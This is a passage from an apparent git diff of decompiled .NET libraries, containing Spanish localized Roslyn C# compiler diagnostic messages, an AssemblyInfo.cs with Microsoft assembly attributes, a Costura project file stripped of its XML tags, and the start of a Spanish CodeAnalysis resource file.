ensamblado '{0}' usada por '{1}' coincide con la identidad '{2}' de '{3}', puede que necesite proporcionar la directiva en tiempo de ejecución + La nulabilidad de los tipos de referencia en el tipo de valor devuelto no coincide con el miembro implementado + No se puede convertir el grupo de métodos en puntero de función (¿falta un operador "&"?) + El comentario XML tiene una etiqueta typeparam para '{0}', pero no hay ningún parámetro con ese nombre + Hay que especificar el parámetro de atributo '{0}' o '{1}'. + Hay que especificar el parámetro de atributo '{0}'. + método con forma de expresión + No se puede usar el parámetro de constructor principal '{0}' que tiene un tipo ref-like dentro de un miembro de instancia + El CallerFilePathAttribute no tendrá efecto porque se aplica a un miembro que se usa en contextos que no permiten argumentos opcionales + No se pueden compilar módulos al usar /refout o /refonly. + El tipo '{3}' no se puede usar como parámetro de tipo '{2}' en el tipo o método genérico '{0}'. El tipo que acepta valores NULL '{3}' no cumple la restricción de '{1}'. Los tipos que aceptan valores NULL no pueden cumplir restricciones de interfaz. + Hay XML formado incorrectamente en el archivo de comentarios incluido + El espacio de nombres '{1}' contiene una definición que entra en conflicto con el alias '{0}' + Nombre de ensamblado no válido: {0} + Un árbol de expresión no puede contener un descarte. + sin patrón + Argument should be passed with the 'in' keyword + Usar "is" para comprobar la compatibilidad con "dynamic" es idéntico a comprobar la compatibilidad con "Object" + El método parcial "{0}" debe tener un elemento de implementación porque tiene modificadores de accesibilidad. + Las directivas de uso de espacio de nombres solo se pueden aplicar a espacios de nombres. '{0}' es un tipo, no un espacio de nombres. Puede que deba utilizar una directiva de uso de versión estática en su lugar + No se pueden usar miembros del campo de solo lectura '{0}' como valores out o ref (excepto en un constructor). + Error de sintaxis de línea de comandos: formato de GUID '{0}' no válido para la opción '{1}' + No use "_" para hacer referencia al tipo en una expresión is-type. + Un literal predeterminado "default" no es válido como patrón. Use otro literal (por ejemplo, "0" o "null") según corresponda. Para hacer coincidir todo, use un patrón de descarte "_". + Dentro de los atributos cref, se deben calificar los tipos anidados de los tipos genéricos. + CallerLineNumberAttribute solo se puede aplicar a parámetros con valores predeterminados + El resultado de la expresión siempre es '{0}' porque un valor del tipo '{1}' nunca es igual a 'NULL' de tipo '{2}' + No se puede devolver un valor a partir de un iterador. Utilice la instrucción yield return para devolver un valor o yield break para terminar la iteración. + Error del generador al crear código fuente. + Se esperaba "disable" o "restore" + La opción '{0}' debe ser una ruta de acceso absoluta. + Versión {0} no válida para /subsystemversion. La versión debe ser 6.02 o posterior para ARM o AppContainerExe, y 4.00 o posterior en caso contrario + Declarador de miembro de inicializador no válido + restricciones de tipo genérico enum + La opción pathmap no tenía el formato correcto. + El tipo de búfer de tamaño fijo debe pertenecer a uno de los tipos siguientes: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float o double + No se permite esta combinación de argumentos para "{0}" porque puede exponer variables a las que el parámetro "{1}" hace referencia fuera de su ámbito de declaración. + El valor constante '{0}' no se puede convertir en '{1}' + El argumento {0} no se debe pasar con la palabra clave '{1}' + La propiedad o el indizador '{0}' no se pueden usar en este contexto porque el descriptor de acceso get es inaccesible + funciones locales + La referencia que devuelve propiedades no puede ser obligatoria. + tuplas + alias externo + Elemento de inclusión XML no válido: {0} + Debe saberse si un parámetro de tipo que acepta valores NULL es un tipo de valor o un tipo de referencia que no acepta valores NULL, a menos que se use la versión de lenguaje "{0}" o una posterior. Considere la posibilidad de cambiar la versión de lenguaje o de agregar "class", "struct" o una restricción de tipo. + El valor de alineación tiene una magnitud que puede dar lugar a una cadena con formato grande + Un árbol de expresión no puede contener un acceso o conversión de matriz insertada + El tipo detectado o producido debe derivarse de System.Exception + No se especificaron archivos de origen + El atributo "{0}" se ignora cuando se especifica la firma pública. + El búfer de tamaño fijo de longitud {0} y tipo '{1}' es demasiado grande + '{0}' no puede implementar '{1}' porque el idioma no lo admite + La característica "{0}" no está disponible en C# 8.0. Use la versión {1} del lenguaje o una posterior. + La característica "{0}" no está disponible en C# 9.0. Use la versión {1} del lenguaje o una posterior. + La característica "{0}" no está disponible en C# 2. Use la versión de lenguaje {1} u otra superior. + La característica "{0}" no está disponible en C# 3. Use la versión de lenguaje {1} u otra superior. + La característica "{0}" no está disponible en C# 1. Use la versión de lenguaje {1} u otra superior. + La característica "{0}" no está disponible en C# 6. Use la versión de lenguaje {1} u otra superior. + La característica "{0}" no está disponible en C# 7.0. Use la versión del lenguaje {1} u otra posterior. + La característica "{0}" no está disponible en C# 4. Use la versión de lenguaje {1} u otra superior. + La característica "{0}" no está disponible en C# 5. Use la versión de lenguaje {1} u otra superior. + El método "{0}" especifica una restricción "struct" para el parámetro de tipo "{1}", pero el parámetro de tipo correspondiente "{2}" de los métodos invalidados o implementados explícitamente "{3}" no es un tipo de valor que acepta valores NULL. + opción /LIB + El atributo Conditional no es válido en '{0}' porque su tipo de valor devuelto no es void + El interceptor no debe tener un parámetro 'this' porque '{0}' no tiene un parámetro 'this'. + patrón de tipo + Un recurso de instrucción using de tipo '{0}' no se puede usar en métodos asincrónicos ni expresiones lambda asincrónicas. + El atributo DllImport no se puede aplicar a un método que sea genérico o que esté contenido en un tipo o método genérico. + El constructor de struct sin parámetros debe ser "public". + Uso de la variable local no asignada '{0}' + No se puede usar una propiedad o indizador que no devuelva referencias como valor out o ref + El miembro invalida los miembros base con varios candidatos de invalidación en el tiempo de ejecución + '{0}' no se puede devolver por referencia porque es un '{1}'. + Omitir la carga de los tipos con errores en el ensamblado de analizador debido a ReflectionTypeLoadException + El campo de elemento de matriz en línea no se puede declarar como obligatorio, de solo lectura, volátil o como búfer de tamaño fijo. + Un método marcado como [DoesNotReturn] no debe devolver nada. + Solo una unidad de compilación puede tener instrucciones de nivel superior. + Los parámetros o locales de tipo '{0}' no pueden declararse en expresiones lambda o métodos asincrónicos. + No se encontró ninguna declaración de definición para la declaración de implementación del método parcial '{0}' + implementación de interfaz predeterminada + La referencia al tipo '{0}' confirma que está definida en este ensamblado, pero no lo está ni en el código fuente ni en los módulos agregados + No se puede pasar un valor NULL como nombre de ensamblado de confianza + El valor por defecto especificado no tendrá efecto porque se aplica a un miembro que se utiliza en contextos que no permiten argumentos opcionales + El valor devuelto no debe ser NULL porque el parámetro no es NULL. + Bloque switch vacío + "{0}": un tipo abstracto no puede estar sellado ni ser estático + Introducir un método 'Finalize' afectar a la invocación del destructor + No se puede usar el objeto 'this' antes de que se hayan asignado todos sus campos. Considere la posibilidad de actualizar a la versión de idioma "{0}" para establecer automáticamente el valor predeterminado de los campos sin asignar. + No se permite la secuencia de caracteres \"@\". Una cadena textual o un identificador solo pueden tener un carácter \"@\" y una cadena sin formato no puede tener ninguno. + El archivo de origen solo puede contener una declaración de espacio de nombres con ámbito de archivo. + La expresión dada coincide siempre con el patrón proporcionado. + Debe proporcionar un inicializador en una declaración de instrucción fixed o using + El tipo de valor devuelto para los operadores ++ o -- debe coincidir con el tipo de parámetro o derivarse de este + Varianza no válida: el parámetro de tipo '{1}' debe ser un {3} válido en '{0}'. '{1}' es {2}. + No se permiten miembros necesarios en el nivel superior de un script o envío. + '{0}': no se permiten conversiones definidas por el usuario ni al tipo dinámico ni desde él. + AppConfigPath debe ser absoluto. + Los atributos destinados al campo en las propiedades automáticas no se admiten en la versión del lenguaje {0}. Use la versión del lenguaje {1} o una superior. + "{0}": un evento abstracto no puede usar la sintaxis de descriptor de acceso de eventos + El atributo [EnumeratorCancellation] no se puede usar en varios parámetros + Usar un miembro del resultado de "{0}" en este contexto puede exponer variables a las que el parámetro "{1}" hace referencia fuera de su ámbito de declaración + El CallerFilePathAttribute aplicado al parámetro '{0}' no tendrá efecto. Lo invalida el CallerLineNumberAttribute. + Posible instrucción vacía errónea + atributos de lambda + Una expresión lambda con atributos no se puede convertir en un árbol de expresión + El tipo '{3}' no se puede usar como parámetro de tipo '{2}' en el tipo o método genérico '{0}'. No hay conversión boxing ni conversión de parámetro de tipo de '{3}' a '{1}'. + XML con formato incorrecto en el archivo de comentarios de inclusión: '{0}' + No se pueden usar patrones relacionales para un valor NaN de punto flotante. + Las propiedades implementadas automáticamente deben invalidar todos los descriptores de acceso de la propiedad invalidada. + La palabra clave \"enum\" no se puede usar como restricción. ¿Quería decir \"struct, System.Enum\"? + La subexpresión no se puede usar en un argumento de nameof. + Las ramas de un operador condicional ref no pueden hacer referencia a variables con ámbitos de declaración incompatibles + Un campo de búfer de tamaño fijo debe tener el especificador de tamaño de matriz detrás del nombre de campo + puntero de función + Directiva #warning + Ninguna sobrecarga para el método '{0}' toma {1} argumentos + No se puede aplicar la indización con [] a una expresión del tipo '{0}' + Falta el valor de directiva #line o está fuera del rango + Attribute parameter 'SizeConst' must be specified. + '{0}' no es una restricción válida. Un tipo usado como restricción debe ser una interfaz, una clase no sellada o un parámetro de tipo. + Referencia ambigua en el atributo cref: '{0}'. Se supone '{1}', pero también podría haber coincidido con otras sobrecargas que incluyen '{2}'. + La clase '{0}' no puede tener varias clases base: '{1}' y '{2}' + '{0}' invalida Object.Equals(object o) pero no invalida Object.GetHashCode() + El interceptor no puede tener una ruta de acceso de archivo 'null'. + Directiva Using innecesaria. + No se pudo encontrar un método '{0}' accesible con la signatura esperada: un método estático con un único parámetro de tipo 'ReadOnlySpan<{1}>' y un tipo de valor devuelto '{2}'. + El nombre '{0}' no existe en el contexto actual + No hay ningún bucle envolvente desde el que interrumpir o continuar + La implementación de interfaz explícita '{0}' coincide con más de un miembro de interfaz. El miembro de interfaz que se elige depende de la implementación. Si quiere, puede usar una implementación no explícita. + La nulabilidad de los tipos de referencia del tipo de parámetro "{0}" no coincide con el miembro implementado "{1}" (posiblemente debido a los atributos de nulabilidad). + Referencia a entidad sin definir '{0}'. + El comentario XML tiene código XML con formato incorrecto: '{0}' + Las propiedades que devuelven datos por referencia deben tener un descriptor de acceso get. + Los miembros con atributos "ObsoleteAttribute" no deberían ser necesarios a menos que el tipo contenedor esté obsoleto o todos los constructores estén obsoletos. + Incoherencia de accesibilidad: la interfaz base '{1}' es menos accesible que la interfaz '{0}' + Un árbol de expresión no puede contener una expresión de método anónimo + expresión lambda + El parámetro se captura en el estado del tipo envolvente y su valor también se pasa al constructor base. La clase base también puede capturar el valor. + Se esperaba una definición de tipo o espacio de nombres, o el fin del archivo + Literal de cadena no terminado + Tipo de restricción no válida. Un tipo utilizado como restricción debe ser una interfaz, una clase no sellada o un parámetro de tipo. + El segundo operando de un operador "is" o "as" no puede ser un tipo estático + La expresión siempre causará una excepción System.NullReferenceException porque el valor por defecto es null + UnscopedRefAttribute no se puede aplicar a una implementación de interfaz. + Ni 'is' ni 'as' son válidos como tipos de puntero + El parámetro de tipo tiene el mismo nombre que el parámetro de tipo de un tipo externo + No hay comillas suficientes para el literal de cadena sin formato. + '{0}': las interfaces conformes a CLS solo pueden tener miembros conformes a CLS + Una expresión de método anónimo no se puede convertir en un árbol de expresión + Se especificó el archivo de origen varias veces + Se ha usado sintaxis incorrecta en un comentario. + No se admite un método Add de extensión para un inicializador de colección en un lambda de expresión. + El atributo '{0}' solo es válido en un indizador que no sea una declaración de miembro de interfaz explícita + '{0}' no es una clase de atributos + El tipo no se puede usar como parámetro de tipo en el método o tipo genérico. La nulabilidad del argumento de tipo no coincide con la restricción "notnull" + No se puede usar un tipo anónimo en una expresión constante + Las expresiones y las instrucciones solo pueden aparecer en un cuerpo de método + El tipo '{0}' no es válido para 'using static'. Solo se puede usar una clase, estructura, interfaz, enumeración, delegado o espacio de nombres. + El tipo de '{0}' no es conforme a CLS + El operador "{0}" es ambiguo en los operandos '{1}' y '{2}' + El tipo de argumento '{0}' no es conforme a CLS + El parámetro params debe ser una matriz unidimensional + El punto de entrada del programa es código global: se ignora el punto de entrada "{0}". + No se puede llamar a un miembro base abstracto: '{0}' + No se puede convertir NULL en el parámetro de tipo '{0}' porque podría ser un tipo de valor que no acepta valores NULL. Use 'default({0})' en su lugar. + La funcionalidad no es parte de la especificación de lenguaje C# estandarizada por ISO y puede no estar aceptada en otros compiladores + No se puede usar "&" para los grupos de métodos en los árboles de expresión. + El tipo de una variable local declarado en una instrucción fija no puede ser un tipo de puntero de función. + Se han proporcionado {0} tipos de parámetro y {1} tipos de referencia de parámetro. Estas matrices deben tener la misma longitud. + No se puede devolver por referencia un miembro de la variable local '{0}' porque no es una variable local de tipo ref. + Un campo que no acepta valores NULL debe contener un valor distinto de NULL al salir del constructor. Considere la posibilidad de declararlo como que admite un valor NULL. + '{0}' no tiene clase base y no puede llamar a un constructor base + La mejor coincidencia de método sobrecargado para '{0}' tiene una firma errónea para el elemento inicializador. El elemento Add inicializable debe ser un método de instancia accesible. + Se especificó la firma pública y se requiere una clave pública, pero no se ha especificado ninguna. + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con el miembro implementado de forma implícita (posiblemente debido a los atributos de nulabilidad). + La nulabilidad de los tipos de referencia del tipo de valor devuelto no coincide con el miembro "{0}" implementado (posiblemente debido a los atributos de nulabilidad). + Se esperaba ) + No se encontró el archivo de origen '{0}'. + propiedad + Valor "{0}" no válido: "{1}" para C# {2}. Use la versión del lenguaje "{3}" o una posterior. + '{0}' no se puede devolver por referencia porque es de solo lectura. + No se puede usar un método de extensión con un receptor como destino de un operador "&". + El CallerArgumentExpressionAttribute aplicado al parámetro "{0}" no tendrá efecto. Lo invalida el CallerFilePathAttribute. + Una función anónima convertida en un delegado que devuelve void no puede devolver un valor + No se puede utilizar el tipo "dynamic" en un patrón. + No se puede usar {0} "{1}" como valor out o ref porque es una variable readonly. + Los destructores y object.Finalize no se pueden llamar directamente. Puede llamar a IDisposable.Dispose si está disponible. + "{0}" no puede implementar el miembro de interfaz "{1}" en el tipo "{2}" porque el tiempo de ejecución de destino no admite miembros abstractos estáticos en interfaces. + No se puede interceptar el método '{0}' con el interceptor '{1}' porque las firmas no coinciden. + Demasiados caracteres en literal de carácter + SyntaxTree no forma parte de la compilación + Se han proporcionado diferentes valores de suma de comprobación de #pragma + El valor '{0}' de SecurityAction no es válido para el atributo PrincipalPermission + Declarador de matriz erróneo. Para declarar una matriz administrada, el especificador de rango precede al identificador de la variable. Para declarar un campo de búfer de tamaño fijo, use la palabra clave fixed delante del tipo de campo. + Las declaraciones parciales de '{0}' deben tener los mismos nombres de parámetro de tipo y modificadores de varianza en el mismo orden + '{0}' no se puede derivar de la clase especial '{1}' + Dado que '{0}' es un método asincrónico que devuelve '{1}', una palabra clave devuelta no debe ir seguida de una expresión de objeto + No se puede usar '{0}' como valor out o ref porque es de solo lectura. + El inicializador de objeto o colección desreferencia el miembro "{0}" posiblemente NULL de forma implícita. + No se encontró ninguna implementación del patrón de consulta para el tipo de origen '{0}'. No se encontró '{1}'. + CallerMemberNameAttribute solo se puede aplicar a parámetros con valores predeterminados + El tipo entra en conflicto con un espacio de nombres importado + El comentario XML tiene una etiqueta param para '{0}', pero no hay ningún parámetro con ese nombre + El parámetro de tipo tiene el mismo tipo que el parámetro de tipo del método externo. + El parámetro "{0}" no se ha proporcionado explícitamente, pero se usa como argumento de la conversión del controlador de cadenas interpoladas en el parámetro "{1}". Especifique el valor de "{0}" antes de "{1}". + Falta el comentario XML para el tipo o miembro visible públicamente + El ensamblado "{0}" que contiene el tipo "{1}" hace referencia a .NET Framework, lo cual no se admite. + La comparación con la constante integral es inútil. La constante está fuera del intervalo del tipo + El tipo no se puede usar como parámetro de tipo en el tipo o método genérico. La nulabilidad del argumento de tipo no coincide con el tipo de restricción + El tipo define operator == or operator !=, pero no reemplaza a Object.GetHashCode() + Se ignorará el atributo en beneficio de la instancia que aparece en la fuente + No se pudo abrir el archivo de origen '{0}': {1} + El atributo '{0}' no es válido en este tipo de declaración. Solo es válido en declaraciones '{1}'. + Un árbol de expresión no puede contener una asignación de fusión nula. + Una variable local o un parámetro denominados '{0}' no se pueden declarar en este ámbito porque ese nombre se está usando en un ámbito local envolvente para definir una variable local o un parámetro + '{0}' es de tipo '{1}'. Un valor de parámetro predeterminado de un tipo de referencia que no sea de cadena solo se puede inicializar con NULL + No se pueden incrustar tipos de interoperabilidad desde el ensamblado '{0}' porque le falta el atributo '{1}' o '{2}'. + La nulabilidad de los tipos de referencia del tipo de parámetro"{0}" de "{1}" no coincide con el delegado de destino "{2}" (posiblemente debido a los atributos de nulabilidad). + El tipo de restricción '{0}' no es conforme a CLS + Una construcción de controlador de cadena interpolada no puede usar dinámica. Construya manualmente una instancia de "{0}". + No se puede asignar la propiedad o campo estático '{0}' en un inicializador de objeto + Atributo '{0}' duplicado + El atributo '{0}' solo es válido en clases derivadas de System.Attribute + Las ramas del operador condicional ref hacen referencia a variables con ámbitos de declaración incompatibles + Secuencia de caracteres "..." inesperada. + La nulabilidad de las restricciones del parámetro de tipo "{0}" del método "{1}" no coincide con las restricciones del parámetro de tipo "{2}" del método de interfaz "{3}". Considere usar una implementación de interfaz explícita en su lugar. + Comparar con tipos de estructura o nulos siempre produce 'false' + No se permite el atributo RequiredAttribute en tipos C# + Solo se permiten 65534 variables locales incluyendo las generadas por el compilador + Normalmente, no debe usarse un campo volátil como valor ref o out, porque no se tratará como volátil. Pero hay excepciones, como cuando se llama a una API entrelazada. + La nulabilidad de los tipos de referencia del tipo no coincide con el miembro reemplazado. + No se puede incrustar el tipo de interoperabilidad '{0}' encontrado en los ensamblados '{1}' y '{2}'. Puede establecer la propiedad 'Incrustar tipos de interoperabilidad' en false. + la ruta de acceso es demasiado larga o no es válida + '{1} {0}' tiene un tipo de valor devuelto equivocado + El miembro debe tener un valor que no sea nulo al salir en alguna condición. + La nulabilidad de los tipos de referencia del tipo de parámetro "{0}" no coincide con el miembro implementado "{1}". + El tipo no implementa la trama de colección. El miembro tiene la firma incorrecta + async main + El miembro '{0}' no se encontró en el tipo '{1}' del ensamblado '{2}'. + No se esperaba una etiqueta final en esta ubicación. + '{1}': no se puede derivar de la clase estática '{0}' + Los métodos con atributos "UnmanagedCallersOnly" no pueden tener parámetros de tipo genérico y no pueden declararse en un tipo genérico. + El acceso a un miembro en '{0}' podría provocar una excepción en tiempo de ejecución, ya que es un campo de una clase de serialización por referencia. + Se esperaba una expresión + “{0}” ha concedido acceso de confianza, pero la clave pública del ensamblado de salida ({1}) no coincide con la especificada por el atributo InternalsVisibleTo en el ensamblado de concesión. + 'El idioma no admite el tipo '{0}' + El método inicializador de módulos "{0}" debe ser estático y no virtual, no debe tener parámetros y debe devolver "void". + El método "{0}" con un bloqueo de iterador debe ser "asincrónico" para devolver "{1}" + La expresión se debe poder convertir implícitamente en 'Boolean' o su tipo '{0}' debe definir el operador '{1}'. + Se puede eliminar el objeto más de una vez + El CallerMemberNameAttribute aplicado al parámetro '{0}' no tendrá efecto. Lo invalida el CallerLineNumberAttribute. + La referencia de ensamblado no es válida y no se puede resolver + El tipo de parámetro para el operador ++ o -- debe ser el tipo contenedor + Uso de la propiedad implementada automáticamente posiblemente sin asignar '{0}'. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado de la propiedad. + Se va a convertir un literal nulo o un posible valor nulo en un tipo que no acepta valores NULL + No se encontró ningún valor para RuntimeMetadataVersion + Se requiere una referencia de objeto para el campo, método o propiedad '{0}' no estáticos + No se puede devolver por referencia un miembro del parámetro "{0}" a través de un parámetro ref; solo se puede devolver en una instrucción "return" + No se puede marcar al tipo o al miembro como conformes a CLS porque el ensamblador no tiene un atributo CLSCompliant + El atributo AsyncMethodBuilder no se permite en métodos anónimos sin un tipo de valor devuelto explícito. + Convirtiendo grupo de métodos a tipo no delegado + '{0}': el tipo de valor devuelto debe ser '{2}' para que coincida con el miembro invalidado '{1}' + Una variable using no se puede usar directamente en una sección switch (considere el uso de llaves). + El envío puede tener, como máximo, un árbol de sintaxis. + Ninguna sobrecarga correspondiente a '{0}' coincide con el delegado '{1}' + El identificador '{0}' es ambiguo entre el tipo '{1}' y el parámetro '{2}' en este contexto. + Tipo no válido para el parámetro en el atributo cref del comentario XML + El nombre "{0}" no identifica el elemento de tupla "{1}". + No se puede especificar el atributo DefaultMember en un tipo que contenga un indizador + El nivel de advertencia debe ser igual o superior a cero. + indexador con forma de expresión + La función local "{0}" debe declarar un cuerpo porque no está marcada como "static extern". + El parámetro {0} tiene un valor predeterminado “{1:10}” en lambda pero “{2:10}” en el tipo delegado de destino. + '{0}': no se puede derivar del tipo dinámico + El método parcial "{0}" debe tener modificadores de accesibilidad porque tiene un tipo de valor devuelto no nulo. + Un elemento lambda de árbol de expresión no puede contener un operador de incorporación con un literal predeterminado o nulo en la parte izquierda + "{0}": el tipo usado en una instrucción using asincrónica debe poder convertirse de forma implícita en "System.IAsyncDisposable" o implementar un método "DisposeAsync" adecuado. + Error de sintaxis, se esperaba '{0}' + '{2}' no puede satisfacer la restricción 'new()' en el parámetro '{1}' en el tipo genérico o el método '{0}' porque '{2}' tiene miembros necesarios. + La expresión switch no controla algunos valores de su tipo de entrada (no es exhaustiva) que requieran un valor de enumeración sin nombre. Por ejemplo, el patrón "{0}" no está incluido. + El argumento de tipo "{0}" no se puede usar para el parámetro "{2}" de tipo "{1}" en "{3}" debido a las diferencias en la nulabilidad de los tipos de referencia. + No es una ubicación de atributo reconocida + Usar el resultado de "{0}" en este contexto puede exponer variables a las que el parámetro "{1}" hace referencia fuera de su ámbito de declaración + El inicializador de elemento no puede estar vacío + La llamada a un miembro "{0}" que no es de solo lectura desde un miembro "readonly" da como resultado una copia implícita de "{1}". + El tipo de la expresión de la cláusula {0} es incorrecto. No se pudo realizar la inferencia de tipos en la llamada a '{1}'. + filtro de excepciones + Al menos una instrucción de nivel superior no debe estar vacía. + Las declaraciones de métodos parciales de "{0}" tienen restricciones incoherentes para el parámetro de tipo "{1}" + \ No newline at end of file diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/costura.es.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/costura.es.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/costura.es.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.es.resx b/decompiled/Libraries/es.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.es.resx new file mode 100644 index 0000000..19e7c6d --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.es.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089estructura + elemento esperado + Imagen PE no disponible. + Tamaño no válido del token de clave pública. + El archivo adicional no pertenece al elemento "CompilationWithAnalyzers" subyacente. + Varios archivos de configuración de analizador global establecen la misma clave "{0}" en la sección "{1}". No se ha establecido. La clave se estableció con los siguientes archivos: "{2}" + La ruta de acceso temporal para la firma de archivos heredados no está disponible. + evento + El ensamblado que contiene el tipo "{0}" hace referencia a .NET Framework, lo cual no se admite. + Referencia de ensamblado: '{0}' + Concede IVT al ensamblado actual: {1} + Concede IVT a: + El analizador de "{0}" contiene un descriptor nulo en "SupportedDiagnostics". + El parámetro "{0}" debe ser un símbolo de esta compilación o algún ensamble al que se hace referencia. + Versiones de idioma incoherentes + El solucionador de referencias debe devolver secuencias no nulas que se puedan leer. + Opciones de compilación no válidas: el envío no se puede firmar. + Una clave de pathMap está vacía. + Gravedad no válida en el archivo de configuración del analizador. + El archivo de conjuntos de reglas tiene reglas duplicadas para '{0}' con las acciones distintas '{1}' y '{2}'. + el tipo debe ser una subclase de SyntaxAnnotation. + Valor demasiado largo para representarse como entero sin signo de 30 bits. + Un módulo no puede tener alias. + Caracteres no válidos en nombre de referencia cultural de ensamblado + módulo + método + El escritor de PDB de Windows no admite la compilación determinista: "{0}" + Analizador + Parámetro '{0}' debe ser un 'INamedTypeSymbol' o un 'IAssemblySymbol'. + Suprima el diagnóstico siguiente para deshabilitar este analizador: {0} + clase + Advertencia: No se puede habilitar el JIT de varios núcleos debido a una excepción: {0}. + Solo se admiten textos insertados cuando se emite un archivo PDB. + No se puede usar una copia de módulo para crear metadatos de ensamblado. + El nombre de la sección de configuración "{0}" del analizador global no es válido porque no es una ruta de acceso absoluta. La sección se ignorará; esta se declaró en el archivo "{1}" + La secuencia de iconos no está en el formato esperado. + Se proporcionó al diagnóstico "{0}" una gravedad no válida "{1}" en el archivo de configuración del analizador en "{2}". + Nombre de ensamblado: '{0}' + Claves públicas: + Archivo no encontrado. + El atributo {0} tiene un valor no válido de {1}. + Los recursos de Win32, que se presupone que están en el formato de objeto COFF, tienen un tamaño de sección no válido. + El elemento SourceText con hintName "{0}" debe tener un conjunto de codificación explícito. + Formato de archivo de recurso no reconocido. + parámetro + propiedad, indizador + Falta el atributo llamado {1} del elemento {0}. + No se encontró MetadataReference '{0}' para quitarse. + Nombre de módulo no válido especificado en el módulo de metadatos '{0}': '{1}' + El nombre contiene caracteres no válidos. + No se puede especificar ningún nombre de idioma para esta opción. + No se debería dar una secuencia de PDB al incrustar el PDB en la secuencia de PE. + Nada + No se debería dar una secuencia de PE al emitir solo metadatos. + El elemento hintName "{0}" contiene un carácter no válido "{1}" en la posición {2}. + Error del controlador del analizador + Varios archivos de configuración de analizador global establecen la misma clave. No se ha establecido. + Debe incluir miembros privados a menos que se emita un ensamblado de referencia. + Los argumentos para la opción "/keepalive" inferiores a -1 no son válidos. + La operación dada tiene un elemento primario no nulo. + El nombre de la sección de configuración del analizador global no es válido porque no es una ruta de acceso absoluta. La sección se ignorará. + Ruta de acceso absoluta esperada. + Datos no válidos en el desplazamiento {0}: {1}{2}*{3}{4} + No se puede determinar la causa específica del error. + No se admiten referencias a documentos XML. + Secuencia demasiado larga. + El tipo devuelto no puede ser un tipo de valor, un puntero, por referencia ni un tipo genérico abierto + El tipo subyacente de una tupla debe ser compatible con tuplas. + Se produjo una excepción con el contexto siguiente: +{0} + El enlazador de serialización no comprende el tipo "{0}". + Características de árbol de sintaxis incoherente + No se pueden insertar tipos de interoperabilidad desde el módulo. + SourceText no se puede insertar. Proporcione codificación o canBeEmbedded=true en la construcción. + La secuencia contiene datos no válidos + Tiempo (s) + El módulo tiene atributos no válidos. + El árbol de sintaxis no pertenece a la 'Compilación' subyacente. + Hash no válido. + 'La opción "/keepalive" solo es válida con la opción "/shared". + No se debe usar la inclusión de números privados al emitir a la salida del ensamblado secundario. + Imprimir información de 'InternalsVisibleToAttribute' para la compilación actual y todos los ensamblados a los que se hace referencia. + La ruta de acceso devuelta por {0}.ResolveStrongNameKeyFile debe ser absoluta: '{1}' + No se encontró el archivo de conjunto de reglas '{0}'. + Firma de ensamblados no admitida. + El diagnóstico notificado "{0}" tiene una ubicación de origen "{1}" en el archivo "{2}", que está fuera del archivo dado. + El nodo que se debe seguir no es descendiente de la raíz. + El bloque de operaciones dado no pertenece al contexto de análisis actual. + El elemento especificado no es elemento de una lista. + delegado + No se puede escribir en la sección. + El valor para el argumento '/shared:' no debe estar vacío + El lector de deserialización de "{0}" leyó un número incorrecto de valores. + El analizador "{0}" contiene un descriptor NULL en "SupportedDiagnostics". + No se puede crear una referencia a un envío. + La ruta de acceso devuelta por {0}.ResolveMetadataFile debe ser absoluta: '{1}' + Sin resolver: + El argumento para la opción "/keepalive" no es un entero de 32 bits. + El intervalo no incluye el principio de una línea. + No se puede crear una referencia de metadatos a un ensamblado sin ubicación. + Nombre de referencia cultural no válido: '{0}' + Clase de instrumentación no válida: {0} + Las tuplas deben tener al menos dos elementos. + Los cambios deben estar ordenados y no superponerse. + El servidor del compilador Roslyn informa de una versión de protocolo distinta a la de la tarea de compilación. + Tiempo total de ejecución del analizador: {0} segundos. + Las opciones de compilación no deben tener errores. + No se puede serializar el tipo "{0}". + No se debería dar una secuencia de PE de metadatos al emitir solo metadatos. + Nombre de recurso vacío o no válido + El tipo devuelto no puede estar vacío, ser por referencia ni un tipo genérico abierto + El escritor de PDB de Windows no admite la característica SourceLink: "{0}" + Token de clave pública no válido. + Un elemento DiagnosticSuppressor con el identificador de supresión "{2}" y la justificación "{3}" ha suprimido mediante programación el diagnóstico "{0}: {1}". + Falta el argumento de la opción "/keepalive". + <módulo en memoria> + Generador + La operación dada tiene un modelo semántico nulo. + La versión del escritor de PDB de Windows no puede ser anterior a la requerida: "{0}" + Un nodo o token están fuera de la secuencia. + No se permite insertar 